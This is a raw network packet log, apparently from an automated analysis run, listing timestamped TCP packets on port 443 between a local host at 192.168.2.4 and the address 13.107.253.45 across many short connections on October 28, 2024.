Oct 28, 2024 19:12:34.622040033 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.622093916 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.622159958 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.622324944 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.622339010 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.898349047 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.898958921 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.899038076 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.899615049 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.899632931 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.952728033 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.958601952 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.958626986 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.959078074 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.959083080 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.960351944 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.960632086 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.960654974 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.960975885 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.960983038 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.037158966 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.037353992 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.037437916 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.037615061 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.037650108 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.037676096 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.037691116 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.040770054 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.040807962 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.040925026 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.041079044 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.041094065 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.059869051 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.065818071 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.065829992 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.066235065 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.066241026 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.093168020 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.093247890 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.093314886 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.093580961 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.093599081 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.093609095 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.093615055 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.096817970 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.096856117 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.096940994 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.097119093 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.097131968 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.100008011 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.100301027 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.100389004 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.102679014 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.102689981 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.102700949 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.102706909 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.105571985 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.105635881 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.105777025 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.105912924 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.105947971 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.204924107 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.205008030 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.205226898 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.205566883 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.205566883 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.205585003 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.205594063 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.226077080 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.226109028 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.226298094 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.229933023 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.229942083 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.389595032 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.390441895 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.390460968 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.390911102 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.390916109 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.569566011 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.569742918 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.569793940 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.569910049 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.569926023 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.569936037 CET	49846	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.569940090 CET	443	49846	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.573018074 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.573127031 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.573201895 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.573375940 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.573411942 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.799936056 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.800488949 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.800518990 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.800962925 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.800970078 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.861156940 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.861200094 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.861726999 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.861737013 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.861736059 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.861772060 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.862360001 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.862365007 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.862369061 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.862385035 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.938277006 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.939300060 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.939377069 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.939429045 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.939445972 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.939455032 CET	49847	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.939460039 CET	443	49847	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.942229986 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.942265034 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.942358017 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.942480087 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.942491055 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.998245001 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.998357058 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.998399019 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.998424053 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.998461008 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.998583078 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.998600960 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:35.998614073 CET	49849	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:35.998620987 CET	443	49849	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001068115 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001173973 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001262903 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001326084 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001382113 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001384020 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001400948 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001429081 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001493931 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001503944 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.001518011 CET	49848	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.001523972 CET	443	49848	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.003278017 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.003290892 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.003355980 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.003460884 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.003469944 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.004147053 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.004462004 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.004477978 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.004903078 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.004909992 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.144367933 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.144517899 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.144690037 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.144740105 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.144757986 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.144769907 CET	49850	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.144778013 CET	443	49850	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.147893906 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.147948027 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.148051977 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.148215055 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.148241043 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.354234934 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.354829073 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.354921103 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.355287075 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.355300903 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.492378950 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.492731094 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.492857933 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.492934942 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.492934942 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.492970943 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.492995977 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.493010998 CET	49851	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.493017912 CET	443	49851	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.496081114 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.496198893 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.496313095 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.496496916 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.496532917 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.740993977 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.741552114 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.741574049 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.742166996 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.742173910 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.771275997 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.771836996 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.771850109 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.772373915 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.772380114 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.781932116 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.782572031 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.782623053 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.783004999 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.783023119 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.902914047 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.903078079 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.903161049 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.903453112 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.903472900 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.903489113 CET	49852	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.903495073 CET	443	49852	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.906835079 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.906876087 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.906964064 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.907155037 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.907167912 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.908329964 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.908721924 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.908757925 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.909212112 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.909224033 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.912451982 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.912519932 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.912571907 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.912723064 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.912744999 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.912761927 CET	49854	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.912766933 CET	443	49854	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.915261030 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.915333033 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:36.915433884 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.915587902 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:36.915604115 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162219048 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162286043 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162380934 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.162689924 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.162710905 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162719965 CET	49853	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.162728071 CET	443	49853	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162782907 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162823915 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162867069 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.162877083 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162892103 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.162935972 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.163044930 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.163050890 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.163065910 CET	49855	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.163069963 CET	443	49855	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.166316032 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166327953 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166363001 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.166409969 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.166435003 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166485071 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166620016 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166630983 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.166635990 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.166661024 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.305959940 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.306644917 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.306678057 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.307143927 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.307152033 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.653322935 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.653465033 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.653534889 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.653795004 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.653820992 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.653846025 CET	49856	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.653852940 CET	443	49856	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.657165051 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.657198906 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.657265902 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.657413006 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.657417059 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.800204039 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.800813913 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.800834894 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.801341057 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.801347017 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.912328005 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.913077116 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.913099051 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.913547993 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.913554907 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.938524008 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.939101934 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.939177990 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.939500093 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.939513922 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.940613031 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.940759897 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.940819979 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.940897942 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.940917015 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.940927029 CET	49857	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.940932035 CET	443	49857	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.943836927 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.943897963 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.943985939 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.944130898 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.944156885 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.963753939 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.964145899 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.964160919 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:37.964581966 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:37.964586020 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.050158024 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.050257921 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.050322056 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.050452948 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.050470114 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.050482988 CET	49858	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.050489902 CET	443	49858	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.053417921 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.053456068 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.053533077 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.053689003 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.053702116 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080221891 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080292940 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080351114 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.080410004 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080450058 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080497026 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.080547094 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.080547094 CET	49860	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.080580950 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.080605030 CET	443	49860	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.082652092 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.082678080 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.082758904 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.082887888 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.082901001 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.112287045 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.112478018 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.112539053 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.112586021 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.112596989 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.112608910 CET	49859	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.112612009 CET	443	49859	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.114753008 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.114789963 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.114865065 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.114988089 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.115001917 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.422183037 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.422700882 CET	49861	443	192.168.2.4	13.107.253.45
